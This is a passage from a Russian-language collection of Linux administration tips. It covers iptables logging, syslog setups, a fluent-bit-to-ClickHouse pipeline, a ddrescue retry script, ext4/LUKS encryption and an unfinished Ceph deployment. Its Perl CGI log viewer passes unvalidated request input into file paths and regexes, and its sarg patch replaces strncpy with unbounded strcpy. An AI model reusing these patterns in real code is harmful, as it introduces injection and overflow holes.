    Желательно, что бы в уровень debug сообщений от ядра не поступало никакой другой информации, 
    кроме информации от iptables. У меня так и получилось по умолчанию с уровнем debug.
    
    В rc.firewall было добавлено в самое начало:
    
       #LOG ALL (!!!). Beware!!!
       #FORWARD
       iptables -A FORWARD -m state --state NEW -j LOG  --log-level debug \
          --log-prefix  'FRWLL_FWD_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state RELATED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_RLTD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state INVALID -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_INVLD ' # --log-tcp-options --log-ip-options
       #INPUT
       iptables -A INPUT -m state --state NEW -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_INPT_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state RELATED -j LOG  --log-level debug \
       #  --log-prefix 'FRWLL_INPT_RLTD ' # --log-tcp-options --log-ip-options
       iptables -A INPUT -m state --state INVALID -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_INVLD ' # --log-tcp-options --log-ip-options
    
    
    Если раскомментировать все строки, то получиться лог с полной статистикой
    доступа - он будет очень большим.
    Поэтому в данном примере имеем лог только по установкам соединений и ошибочным
    соединениям в цепочках INPUT и FORWARD.
    
    Итак. В logrotate я добавил (/etc/logrotate.d/access):
    
       /var/log/access/access {
           sharedscripts
           compress
           rotate 45
           daily
           postrotate
               /bin/killall -HUP syslogd
           endscript
       }
    
    Сжимаем логи каждый день. Храним статистику за последние 45 суток.
    Компрессия логов в моём случае дала значительный прирост производительности, поскольку шлюз 
    достаточно мощный и скорость парсинга логов упиралась только в чтение с HDD.
    
    В итоге был написан простой скрипт на perl, выдающий статистику в более-менее удобоваримой форме.
    
    Вот и сам скрипт:
    -------------------------
    
       #!/usr/bin/perl
    
       use CGI qw(:standard);
       use PerlIO::gzip;
       use Switch;
    
       ##Redefine before start:
       my $LOG_DIR="/var/log/access/";
       my $LOG_FILENAME="access";
       ##end
    
       my $IP, $FLAG;
    
       ## Params delimeter in request: "-"
       ($IP, $FLAG) = split(/-/, $ARGV[0]);
    
       ## if undefine IP or file log FLAG-number or FLAG is empty - parser exit:
       if(!defined($IP)||!defined($FLAG)||$FLAG==""){
         print header; print start_html; 
         print   "Valid parameters required!"; print end_html; exit(1);
       }
    
       print header;
       print start_html("Stat for: $IP");
       print "<h2>Stat for: $IP</h2><br/>", "\n<pre>";
    
       switch($FLAG)
       {
           case "0"
           {
               open($FD, "<$LOG_DIR$LOG_FILENAME")
                or die "Cannot open current (0) log-file!<br> File does not exist or access not permitted!<br>";
               while(<$FD>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($FD);
           }
           else 
           {
               open($GZIP, "<:gzip(lazy)", "$LOG_DIR$LOG_FILENAME.$FLAG.gz")
                or die "Cannot open old (", $FLAG, ") log-file!<br> File does not exist or access not permitted!<br>";
               while(<$GZIP>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($GZIP);
           }
       }
       print "</pre>\n";
       print "<br><br>Access stat parser by \"umask at yandex dot ru\"<br>";
       print end_html;
    -------------------------
    
    Для работы скрипта необходимо установить модуль PerlIO-gzip. Найти ссылку на
    модуль можно на cpan.org.
    
    Доступ к статистике можно получить через браузер (скрипт рассчитан для работы как CGI):
       hostname.ru/cgi-bin/parse.pl?192.168.1.1-0
    
    Аргумент понимаеться так:
    192.168.1.1 - искомая подстрока.
    0 - норме лог файла. В данном случае текущий (в который пока ещё записываются сообщения syslog).
    1 - вчерашний,
    2 - позавчерашний,
    3 - 3 дня назад.
    .....
    и т.д.
    
    Для меня данное решение оказалось удобным.
    
     
    ----* Использование Sarg для анализа логов ISA 2004 Server   Автор: Жека  [обсудить]
     
    После долгого копания глюков sarg с ISA 2004 Server logs, были найдены следующие решения:
    
    - формат файла должен быть w3c
    
    - необходимые для анализа поля:
       c-ip
       cs-username
       date
       time
       time-taken
       sc-bytes
       cs-uri
       sc-status
    
    - поле cs-status не должно быть последним, после него нужно включить еще какое-нибудь поле. 
    Глюк связан с кривым разбором строки :(
    
    - формат даты в конфиге должен быть "e".
    
    - на поле миллисекунды внимания обращать не советую, чревато нервным срывом :)
    
    - для выгрузки логов на конкретную дату нужно 
    приложить нижеследующий патчик.
    
    --- util.c.orig Fri May 13 17:05:57 2005
    +++ util.c      Fri May 13 17:06:09 2005
    @@ -239,7 +239,7 @@
    
     void builddia(char *dia, char *mes, char *ano, char *df, char *wdata)
     {
    -   char ndia[9];
    +   char ndia[11];
        char nmes[3];
        int  x;
    
    @@ -253,15 +253,15 @@
           }
        }
    
    -   snprintf(wdata,6,"%s%s%s",ano,nmes,dia);
    +   snprintf(wdata,9,"%s%s%s",ano,nmes,dia);
    
        if(strncmp(df,"u",1) != 0)
           snprintf(ndia,sizeof(ndia),"%s/%s/%s",dia,nmes,ano);
         else
           snprintf(ndia,sizeof(ndia),"%s/%s/%s",nmes,dia,ano);
    
    -   strncpy(dia,ndia,sizeof(dia)-1);
    -   dia[sizeof(dia)-1]=0;
    +   strcpy(dia,ndia);
    +//   dia[sizeof(dia)-1]=0;
    
        return;
    
     
    ----* Как послать в syslog что-нибудь из командной строки   Автор: mazaj  [комментарии]
     
       logger -sp <средство>.<уровень> -t <имя_процесса> "текст"
    
     
    ----* Как решить проблему с ведением логов у программ в chroot окружении   [комментарии]
     
    Например, в postfix запущенном в chroot, через настройки в master.cf, при перезапуске syslogd 
    перестают писаться логи qmgr, тем временем все остальные логи пишутся нормально.
    
    Решение - необходимо создать дополнительный log сокет в chroot окружении:
       FreeBSD: "syslogd -l /var/spool/postfix/dev/log"
       Linux: "syslogd -a /var/spool/postfix/dev/log"
    
     
    ----* Почему syslogd в Linux потребляет слишком много процессорного времени.   [обсудить]
     
    Для сохранности логов syslogd при записи каждой строки в лог выполняет вызов
    fsync() для синхронизации
    данных на диск. Например, при интенсивной записи почтовых логов syslog может
    съесть половину времени CPU.
    
    Отключить синхронизацию можно добавив "-" перед файлом лога, например:
       mail.*  -/var/log/maillog
    
    При экспорте логов на удаленный сервер, рекомендуется вместо доменного имени хоста использовать IP.
    
     
    ----* Как в syslog организовать прохождение логов через программу-фильтр.   Автор: Gennady  [комментарии]
     
    Сначала создаем pipe:
      mkfifo /path/to/pipe
    Затем в /etc/syslog.conf пишем строчку типа:
      *.info                        |/path/to/pipe
    Перезапускаем syslogd:
      kill -1 'cat /var/run/syslogd.pid'
    И запускаем свою программу, которая будет читать с пайпа данные. 
    
     
    ----* Как организовать сохранение syslog логов на удаленном сервере.   [комментарии]
     
    На сервере с которого поытаем логи (/etc/syslog.conf):
       mail.*   /var/log/maillog
       mail.*   @loger.host.ru
    На удаленном FreeBSD сервере, принимающем логи syslog должен запускаться без опции -s 
    (для некоторых версий нужно указать опцию -r),
    удаленные хоcты ограничиваем через "-a ip1 -a ip2", рекомендую прикрыть доступ
    к 514 UDP порту пакетным фильтром.
    Пример /etc/syslog.conf:
       mail.*   /var/log/maillog_all   # логи со всех серверов
       +@   # +@ - выборка только для локального хоста
       mail.*   /var/log/maillog
       +relay1.host.ru
       mail.*   /var/log/maillog_relay1
       +relay2.host.ru
       mail.*   /var/log/maillog_relay2
       +*       # +* - отмена привязки к хосту
       !popa3d  # далее по логи по масте программы.
       *.*      /var/log/pop3log
    
     
    ----* Как пересылать логи с Cisco в syslog   Автор: LS  [комментарии]
     
    На Cisco:
        router(config)# logging x.x.x.x
        router(config)# logging source-interface fastethernet 0/0
        router(config)# logging facility local0
    В syslog.conf (syslogd нужно запускать с ключем -r):
        local0.* /var/log/cisco.log
    
     
    ----* Отправка логов из kubernetes в clickhouse   Автор: Аноним  [комментарии]
     
    Хочу поделится опытом отправки логов java-приложений, развернутых в kubernetes,
    в базу clickhouse. Для отправки используем fluent-bit, который настроим на
    отправку логов по http в формате json_stream.
    
    Пара слов о fluent-bit
    
    Fluent-bit  работает с записями. Каждая запись состоит из тега и
    именованного массива значений.
    
    
  • Input Секции input указывают как и откуда брать данные, какой тег присвоить записям и в какой парсер передать их для получения массива значений. Парсер указывается параметром Parser в секции Input. В нашем случае берём теги из названия файла при помощи regexp.
  • Parser Секция parsers указывает как получить из сообщения массив значений. В случае с kubernetes все сообщения представляют из себя JSON с 3 полями: log, stream и time. В нашем случае поле log также содержит JSON.
  • Filter Пройдя парсинг, все сообщения попадают в фильтры, применение которых настраивается параметром Match. В каждый фильтр попадают только те сообщения, которые имеют тег, попадающий в regexp, указанный в Match. В нашем случае фильтры также удаляют сообщения, которые пришли из служебных namespace и лишние поля, чтобы сообщения смогли попасть в clickhouse без ошибок, даже если что-то пошло не так.
  • Помещение тегов в лог Fluent-bit использует теги только для маршрутизации сообщений, подразумевается, что теги не должны попадать в лог. Для того, чтобы в лог попала информаци о том в каком namespace, contaner и pod произошло событие, применяется скрипт на lua. Если распарсить сообщение не удалось или поле message оказалось пустым после парсинга, значит в выводе приложения был не JSON или он был в не верном формате. Тогда в поле message помещается всё сообщение без парсинга.
  • Output Секция указывает куда направить сообщения. Применение секций Output определяется параметром Match аналогично с секцией Filter. В нашем случае сообщения уходят в clickhouse по http в формате json_stream. Примеры Наши приложения выводят в логи в формате JSON в stdout, их собирает kubernetes и создает симлинки на них в /var/log/containers. Логи работы пода java-pod-5cb8d7898-94sjc из деплоймента java-pod в неймспейсе default попадают в файл вида /var/log/containers/java-pod-5cb8d7898-94sjc_default_java-pod-08bc375575ebff925cff93f0672af0d3d587890df55d6bd39b3b3a962fc2acb9.log Пример записи {"log":"{\"timeStamp\":\"2021-11-24T11:00:00.000Z\",\"message\":\"My message id: 8543796, country: RU\",\"logger\":\"com.YavaApp.app.service.YavaService\",\"thread\":\"http-nio-8080-exec-2\",\"level\":\"INFO\",\"levelValue\":40000}\n","stream":"stdout","time":"2021-11-24T11:00:00.000000000Z"} Как видно из примера, в JSON-записи, поле log содержит в себе экранированный JSON, который также нужно разобрать, а из имени файла понятно к какому поду, деплою и неймспейсу принадлежит запись. Clickhouse По умолчанию clickhouse слушает команды по протоколу http на порту 8123. Менять эти настройки нет необходимости. Создадим в clickhouse схему logs и таблицу log в ней. create database logs; use logs; create table logs.log( pod_time DateTime('Etc/UTC'), namespace String, container String, pod String, timeStamp String, stream String, thread String, level String, levelValue Int, logger String, message String ) ENGINE = MergeTree PARTITION BY toYYYYMM(pod_time) ORDER BY pod_time; Файлы конфигурации Файл конфигурации fluent-bit для kubernetes будет выглядеть примерно так: apiVersion: v1 kind: ConfigMap metadata: labels: k8s-app: fluent-bit name: fluent-bit namespace: monitoring data: filter.conf: | [FILTER] Name lua Match * script make_tags.lua call make_tags [FILTER] Name grep Match kube.* Exclude namespace monitoring Exclude namespace metallb-system Exclude namespace gitlab-managed-apps Exclude namespace kube-* [FILTER] Name record_modifier Match kube.* Whitelist_key pod_time Whitelist_key namespace Whitelist_key container Whitelist_key pod Whitelist_key timeStamp Whitelist_key stream Whitelist_key thread Whitelist_key level Whitelist_key levelValue Whitelist_key logger Whitelist_key message Record cluster k8s-test fluent-bit.conf: | [SERVICE] Flush 1 Log_Level info Daemon off Parsers_File parsers.conf @INCLUDE filter.conf @INCLUDE input.conf @INCLUDE output.conf input.conf: | [INPUT] Name tail Path /var/log/containers/*.log Parser kub-logs Refresh_Interval 5 Mem_Buf_Limit 20MB Skip_Long_Lines On DB /var/log/flb_kube_default.db DB.Sync Normal Tag kube.<namespace_name>.<container_name>.<pod_name> Tag_Regex (?<pod_name>[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*)_(?<namespace_name>[^_]+)_(?<container_name>.+)- make_tags.lua: | function make_tags(tag, timestamp, record) new_record = record local tag_list = {} for s in string.gmatch(tag, "[^.]+") do table.insert(tag_list, s) end new_record["namespace"] = tag_list[2] new_record["container"] = tag_list[3] new_record["pod"] = tag_list[4] if (record["message"] == nil) then new_record["message"] = record["log"] end return 1, timestamp, new_record end output.conf: | [OUTPUT] Name http Host clickhouse-address Port 8123 URI /?user=user&password=pass&database=logs&query=INSERT%20INTO%20log%20FORMAT%20JSONEachRow Format json_stream Json_date_key pod_time Json_date_format epoch parsers.conf: | [PARSER] Name kub-logs Format json Time_Key time Time_Format %Y-%m-%dT%H:%M:%S.%L # Command | Decoder | Field | Optional Action # ==============|==============|=========|================= Decode_Field_As escaped_utf8 log do_next Decode_Field json log Конфигурация DaemonSet, который развернет по одному инстансу fluent-bit на каждой рабочей ноде. apiVersion: apps/v1 kind: DaemonSet metadata: name: fluent-bit namespace: monitoring labels: k8s-app: fluent-bit spec: selector: matchLabels: k8s-app: fluent-bit template: metadata: labels: k8s-app: fluent-bit spec: priorityClassName: system-node-critical containers: - name: fluent-bit image: fluent/fluent-bit:1.8 imagePullPolicy: Always volumeMounts: - name: config mountPath: /fluent-bit/etc/fluent-bit.conf subPath: fluent-bit.conf - name: config mountPath: /fluent-bit/etc/input.conf subPath: input.conf - name: config mountPath: /fluent-bit/etc/output.conf subPath: output.conf - name: config mountPath: /fluent-bit/etc/parsers.conf subPath: parsers.conf - name: config mountPath: /fluent-bit/etc/filter.conf subPath: filter.conf - name: config mountPath: /fluent-bit/etc/make_tags.lua subPath: make_tags.lua - name: var-log mountPath: /var/log - name: var-lib-fluent mountPath: /var/lib/fluent - name: var-lib-docker mountPath: /var/lib/docker readOnly: true - name: run-log mountPath: /run/log - name: etcmachineid mountPath: /etc/machine-id readOnly: true volumes: - name: config configMap: defaultMode: 420 name: fluent-bit - name: var-log hostPath: path: /var/log - name: var-lib-fluent hostPath: path: /var/lib/fluent - name: var-lib-docker hostPath: path: /var/lib/docker - name: run-log hostPath: path: /run/log - name: etcmachineid hostPath: path: /etc/machine-id type: File
  •  

       Диски и файлы
    CD-ROM, CD-R, AudioCD:
    RAID массивы
    Ramdisk, tmpfs
    Диагностика и Восстановление после сбоя
    Квоты
    Монтирование
    Резервное копирование
    Файловые системы

    ----* Cкрипт ddrescue-loop с функцией автоматической остановки/перезапуска диска на SATA порту (доп. ссылка 1)   Автор: gumanzoy  [комментарии]
     
    Cкрипт ddrescue-loop v0.1 с функцией автоматической остановки/перезапуска
    диска на SATA порту.
    
    Предназначен для упрощения процесса восстановления данных с неисправных SATA
    SSD. В случаях когда после ошибок чтения - SSD перестает возвращать данные и
    требует остановки/перезапуска.
    
    Для работы не требуется реле для отключения питания.
    Использует интерфейсы ядра udev /dev и sysfs /sys.
    
    Рекомендуется материнская плата с поддержкой AHCI.
    На платформах Intel начиная с Soc-1156 и на AMD AM4/AM5 нужно включать Hot Plug
    в UEFI BIOS Setup для каждого порта отдельно.
    На более старых AMD, но у которых в чипсете есть поддержка AHCI - сразу должно
    работать ничего специально включать не нужно.
    
       ddrescue-loop -ata N [-loop N] [-wait N] [-act N] outfile mapfile   [ddrescue options]
    
       ddrescue-loop -ata N -stop Остановить диск на SATA порту N
       ddrescue-loop -ata N -scan Cканировать SATA порт N
    
    Номер соответствует порту на мат.плате, но нумерация всегда начинается с 1, а
    не с 0 как на платах Gigabyte например. См. вывод dmesg
    
    Функция циклической остановки/перезапуска диска на SATA порту:
    
       -loop N Предельное число попыток N целое число. Указывать обязательно.
    
    Таймер ожидания остановки/перезапуска диска:
       -wait N Время в секундах. 10 по умолчанию.
    
    В конце после mapfile можно указать опции запуска ddrescue
    
    Код ddrescue-loop:
    
    #!/bin/sh
    #ddrescue-loop script writen by gumanzoy <gumanzoy@gmail.com>
    
    # Compatible only with Linux, not with other *nix!
    # Depends on udev /dev and sysfs /sys kernel interfaces
    # Requires SATA AHCI compatible motherboard
    # For all Intel and modern AMD platforms (AM4 and newer), check the UEFI Setup
    # SATA settings to ensure Port Hot Plug is enabled
    
    # [RU] forum thread. Обсуждение
    # https://forum.ixbt.com/topic.cgi?id=11:47589-31
    
    # /* This program is free software. It comes without any warranty, to
    # * the extent permitted by applicable law. You can redistribute it
    # * and/or modify it under the terms of the Do What The Fuck You Want
    # * To Public License, Version 2, as published by Sam Hocevar. See
    # * http://www.wtfpl.net/ for more details. */
    
    VERSION=0.1
    
    showhelp () {
    echo "ddrescue-loop v""$VERSION"" перезапускает процесс ddrescue в случае его завершения"
    echo "Внимание следует соблюдать очередность аргументов"
    echo "Указывать ключи в произвольном порядке нельзя!"
    echo "Числовые значения аргументов обязательно через пробел"
    echo -n "\n"
    echo "# Остановить/запустить диск на SATA порту:"
    echo "-ata <n> -stop""		""остановить диск на SATA порту <n>"
    echo "-ata <n> -scan""		""сканировать SATA порт <n>"
    echo -n "\n"
    echo "# Запустить восстановление:"
    echo "ddrescue-loop -ata <n> [-loop <n>] [-wait <n>] [-act <n>] outfile mapfile [ddrescue options]"
    echo -n "\n"
    echo "# Укажите номер SATA порта к которому подключен диск источник:"
    echo -n "-ata <n>""		""Номер SATA порта <n> цифра (смотрите вывод dmesg)"
    echo -n "\n""			""#: "; ls /sys/class/ata_port
    echo -n "\n"
    echo "# Функция циклической остановки/перезапуска диска на SATA порту:"
    echo "-loop <n>""		""<n> предельное число попыток"
    echo -n "\n"
    echo "# Таймер ожидания остановки/перезапуска диска:"
    echo "-wait <n>""		""Время в секундах <n> [10]"
    echo -n "\n"
    echo "# Переопределить таймаут ожидания исполнения ATA команд:"
    echo "-act <n>""		""Время в секундах <n> [1..30]"
    echo -n "\n"
    echo "# Основные:"
    echo "outfile""			""Устройство приемник данных / файл образа"
    echo "mapfile""			""ddrescue map/log файл (обязательно)"
    echo -n "\n"
    echo "# В конце после mapfile можно указать опции запуска ddrescue через пробел"
    echo "# Поддержка зависит от версии. Полный список опций в мануале. Важные:"
    echo "-P [<lines>]""		""Предпросмотр данных [число строк] по умолчанию 3"
    echo "-b 4096""			""Размер сектора (физического блока) [default 512]"
    echo "-O"" #Рекомендую!		""После каждой ошибки заново открывать файл устройства"
    echo "-J"" #Опционален		""При ошибке перечитать последний не сбойный сектор"
    echo "-r <n> #ИЛИ -r -1""	""<n> число повторных проходов до перехода к trim"
    echo "-m <domain.mapfile>""	""Ограничить область чтения доменом <file> ddru_ntfsbitmap"
    }
    
    get_ata_host () {
    until SCSIHOST=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/scsi_host/host?/` \
    && test -d "$SCSIHOST"; do sleep 1; done
    }
    
    get_ata_target () {
    until SYSFSTGT=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/target?:?:?/?:?:?:?/` \
    && test -d "$SYSFSTGT"; do sleep 1; done
    }
    
    get_ata_dev () {
    until INDEV=`readlink -f /dev/disk/by-path/pci-*-ata-"$1"` \
    && test -b "$INDEV"; do sleep 1; done
    }
    
    if [ "$1" = "-h" -o "$1" = "--help" ]; then showhelp
    exit; fi
    
    if [ "`whoami`" != "root" ]; then
    echo Exit. This script should be run as root !
    exit 1; fi
    
    if [ -n "$1" ] && [ "$1" = "-ata" ]; then
    if [ -n "$2" ] && test -d /sys/class/ata_port/ata"$2"; then
    SATAP="$2"; get_ata_host "$SATAP"; shift; shift
    else echo -n "Please enter correct port number: "; ls /sys/class/ata_port; exit 1; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-loop" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    DDLOOP="$2"; shift; shift; fi
    else DDLOOP=0
    fi
    
    if [ -n "$1" ] && [ "$1" = "-wait" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    LOOPWAIT="$2"; shift; shift; fi
    else LOOPWAIT=10
    fi
    
    if [ -n "$1" ] && [ "$1" = "-act" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 -a "$2" -lt 30 ]; then
    ATACMDT="$2"; shift; shift; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-stop" ] && [ -n "$SATAP" ]; then
    get_ata_target "$SATAP"
    while test -f "$SYSFSTGT"/delete; do echo 1 > "$SYSFSTGT"/delete; sleep 1; done
    exit; fi
    
    if [ -n "$1" ] && [ "$1" = "-scan" ] && [ -n "$SATAP" ]; then
    echo '0 0 0' > "$SCSIHOST"/scan; exit; fi
    
    if [ -z "$SATAP" ]; then showhelp
    exit; fi
    
    OUTFILE="$1"; shift
    MAPFILE="$1"; shift
    DDOPTS="$@"
    
    DONE=X
    LOOPCOUNT=0
    
    until [ "$DONE" = 0 ]; do
    get_ata_target "$SATAP"; get_ata_dev "$SATAP"
    if [ -n "$ATACMDT" ]; then echo "$ATACMDT" > "$SYSFSTGT"/timeout
    fi
    echo ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" "$DDOPTS"
    ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" $DDOPTS
    DONE="$?"
    if [ "$DONE" != 0 ] && [ "$DDLOOP" -gt 0 ]; then
    sleep "$LOOPWAIT"
    while test -d "$SYSFSTGT"; do echo 1 > "$SYSFSTGT"/delete
    sleep "$LOOPWAIT"; done
    sleep "$LOOPWAIT" && echo '0 0 0' > "$SCSIHOST"/scan
    DDLOOP=$(($DDLOOP-1))
    LOOPCOUNT=$(($LOOPCOUNT+1))
    echo "\n\033[1mDDLOOP" "#""$LOOPCOUNT"
    tput sgr0
    date
    echo -n "\n"
    else DONE=0
    fi
    done
    
     
    ----* Шифрование данных на существующем разделе ext4 без его переформатирования (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Можно отметить два основных способа организации шифрования данных в уже
    существующей файловой системе Ext4, не требующие пересоздания раздела с
    переносом данных из резервной копии. Первый способ заключается в использовании
    встроенных в Ext4 возможностей по шифрованию отдельных каталогов, а второй в
    использовании команды "cryptsetup reencrypt" для прозрачного переноса ФС на
    новый шифрованный раздел LUKS. В любом случае создание полной резервной копии
    перед выполнением предложенных манипуляций обязательно.
    
    Первый способ наиболее простой и безопасный, но он ограничен использованием
    отдельных шифрованных каталогов, в которые можно перенести конфиденциальные
    данные, требующие защиты. Шифрование в Ext4 поддерживается при использовании
    как минимум ядра Linux 4.1 и утилит 2fsprogs 1.43.
    
    Выставляем в суперблоке раздела  c ФС ext4 флаг поддержки шифрования (в нашем случае /dev/sda1):
    
        sudo tune2fs -O encrypt /dev/sda1
    
    Создаём каталог, в котором будут храниться зашифрованные данные текущего пользователя:
    
        mkdir -p /secret/home/user
      
    Генерируем случайную salt-последовательность для последующего шифрования и
    сохраняем её в отдельный файл:
    
        echo 0x`head -c 16 /dev/urandom | xxd -p` > /home/user/.crypt_salt
     
    
    Создаём на базе данной salt-последовательности ключ для шифрования, указав для него пароль:
    
        e4crypt add_key -S /home/user/.crypt_salt
    
        Enter passphrase (echo disabled):
        Added key with descriptor [f467134ca2c48c33]
    
    Проверяем добавление ключа командой "keyctl show", которая поставляется в пакете keyutils.
    
      
    Активируем шифрование для каталога /secret/home/user, указав выданный идентификатор ключа:
    
        e4crypt set_policy f467134ca2c48c33 /secret/home/user
    
    Если после перезагрузки попытаться обратится к каталогу /secret/home/user без
    добавления ключа командой "e4crypt add_key", его содержимое будет показано в
    зашифрованном виде. Для расшифровки каталога при каждой загрузке необходимо
    настроить повторный вызов команды add_key для привязки ключа.
       
       e4crypt add_key -S /home/user/.crypt_salt
    
       Enter passphrase (echo disabled):
       Added key with descriptor [f467134ca2c48c33]
    
    Для просмотра привязанного к каталогу ключа можно использовать команду
    
       e4crypt get_policy /secret/home/user
    
    
    
    В случае необходимости шифрования всего содержимого можно использовать LUKS
    cryptsetup для шифрования имеющегося раздела без потери данных.
    
    Отмонтируем шифруемый раздел (при изменении корневого раздела нужно загрузиться
    с отдельного live-дистрибутива), проверяем целостность ФС и уменьшаем размер ФС
    для того, чтобы разместить заголвки LUKS на диске (в ФС должно быть достаточно
    свободного места):
    
       e2fsck -f /dev/sda4
       resize2fs /dev/sda4 размер_меньше_текущего_на_32МБ
    
    Шифруем содержимое имеющегося раздела без потери информации:
       
       cryptsetup reencrypt --encrypt /dev/sda4 --reduce-device-size 32M
       
    Открываем раздел:
    
       cryptsetup open /dev/sdXY home
      
    Увеличиваем размер ФС до свободной границы
    
       resize2fs /dev/mapper/home
    
    Монтируем раздел:
       
        mount /dev/mapper/home /mnt/home
    
    Смотрим UUID:
    
       blkid /dev/mapper/home 
    
    Добавляем информацию о разделе в /etc/crypttab
    
       home UUID=UUID_устройства_LUKS none
    
     
    ----* История про Ceph и реплику 1+2   Автор: alex  [комментарии]
     
    Обратился как-то знакомый с вопросом можно ли c Ceph реализовать реплику 1+2.
    Было 2 сервера OSD и требовалось сделать хранилище, причём только на запись
    (операции чтения не больше 10 процентов, а 90 процентов это запись). В виду
    горького раннего опыта с данной репликой и файловым Ceph пытался отговорить его
    от этого, но интерес взял своё.
    
    Итак задача звучала так: есть 2xOSD, в каждом 24 HDD диска по 8T и 4 SSD по 400G
    
    Основной задачей было обеспечение надёжности без применения CRUSH Map.
    
    Требовалось: 
    
  • Ceph 2xOSD + 3MON,
  • Ceph: Версия не важно но
  • 1 Обязательно файловая
  • 2 Вынос журналов на SSD, то есть 1 SSD на 6 HDD дисков Железо осмотр: OSD все на intel C610/X99 CPU : 2 x Xeon(R) CPU E5-2620 v4 @ 2.10GHz RAM : 192G DIMM DDR4 M393A4K40BB0-CPB Video: AST1150 ASPEED Technology, Inc. HDD: 2xINTEL SSDSC2BA20 LAN : 2 x 1G I210 (ILO + Управление) LAN : 2 x 82599ES 10-Gigabit SFI/SFP+ Network Connection (на борту) LAN : 2 x MT27520 Family [ConnectX-3 Pro] 40-Gigabit QFP+ Mellanox Technologies Внешний JBOD SAS3008 PCI-Express Fusion-MPT SAS-3 24 x HDD HUH728080AL5204 (HGST) 7452GiB 7200rpm 4 x SDD HUSMM1640ASS204 (HGST) 372GiB Первое что было сделано это обновлены все биосы и прочее, что могло обновляться включая HDD: 2xINTEL SSDSC2BA20 установлен дистрибутив Ubuntu 18.04.1 LTS HDD: 2xINTEL SSDSC2BA20 были объедены в MD зеркало (бортовой аппаратный райд не помог т.к. в итоге система не видела 2 диска как единое блочное устройство) в итоге получилось 1G /boot (MD0) 16G SWAP на каждом диске 170G / также выделил 3 сервера одинаковых для mon и один сервер для настроек с которого собственно и буду все поднимать серверы одинаковые: ProLiant DL360 G5 CPU: 2xIntel(R) Xeon(R) CPU E5420 @ 2.50GHz RAM: 8G HDD: 2x148 на базе аппаратного Smart Array Controller P400i LAN: 2xNetXtreme II BCM5708 Gigabit Ethernet (Broadcom Limited) собрав все в зеркало и установил систему Ceph Подключаем репозиторий. Раз версия не важна то используем Mimic (13.2.0), остальных версий под указанный дистрибутив нет. 1. компьютер установщика: wget -q -O- 'https://download.ceph.com/keys/release.asc' | sudo apt-key add - echo "deb https://download.ceph.com/debian-mimic/ bionic main" > /etc/apt/sources.list.d/ceph.list apt update apt upgrade apt install ceph-common ceph-deploy 2. добавим ключи с машины инсталлятора, чтобы ходить по ssh без пароля 3. определимся с сетью в качестве коммутатора у заказчика Mellanox SX1024 1 12x40G + 48x10G что вполне со слов заказчика достаточно на первое время 2 Dlink 36xx для сети 1G и портом 10G на всякий случай для стыковки с мелланоксом сеть public-network 10.0.0.0/24 cluster-network 10.200.0.0/24 mon01 10.0.0.1/24 mon02 10.0.0.2/24 mon03 10.0.0.3/24 osd01 10G 10.0.0.4/24 40G 10.200.0.4/24 osd02 10G 10.0.0.5/24 40G 10.200.0.5/24 слепил я и оповестил файлы /etc/hosts этими значениями Инсталляция начнём как рекомендуется в документации, с мониторов 1. установим демон точного времени apt install chrony на OSD серверах шлюзов не будет, соответственно настроим сразу получение времени с mon01-03 2. Установим мониторы и сразу MGR ceph-deploy install --mon --release=mimic mon0{1,2,3} ceph-deploy install --mgr --release=mimic mgr0{1,2,3} ceph-deploy install --osd --release=mimic osd0{1,2} 3. Создадим кластер ceph-deploy new --public-network 10.0.0.0/24 mon0{1,2,3} добавим мониторы ceph-deploy mon create mon0{1,2,3} раздадим ключи ceph-deploy gatherkeys mon0{1,2,3} добавим в начальный файл конфигурации mon_allow_pool_delete = true cluster network = 10.200.0.0/24 osd pool default size = 2 osd pool default min size = 1 osd mkfs options xfs = -f -s size=4096 и раздадим его всем cp *.keyring ceph.conf /etc/ceph/ добавим mgr ceph-deploy mgr create mgr0{1,2,3} раздадим и проверим конфигурацию на всех серверах и проверим ceph ceph -s cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_OK services: mon: 3 daemons, quorum mon01,mon02,mon03 mgr: mgr01(active), standbys: mgr02, mgr03
  • Займёмся osd ssh osd01 прогоним все диски parted -s /dev/sdj mklabel gpt почистим диски /usr/sbin/ceph-volume zap /dev/sdh ................ /usr/sbin/ceph-volume zap /dev/sdo и повторим то же на OSD02 вернёмся на инсталлиционый сервер и для теста создадим пару OSD с двух OSD серверов можно ещё раз проделать это с инсталляционного сервера ceph-deploy disk zap osd01:sdh ceph-deploy disk zap osd02:sdh ceph-deploy disk zap osd01:sdi ceph-deploy disk zap osd02:sdi
  • /dev/sdh это HDD OSD01
  • /dev/sdh это HDD OSD02
  • /dev/sdi это SSD OSD01
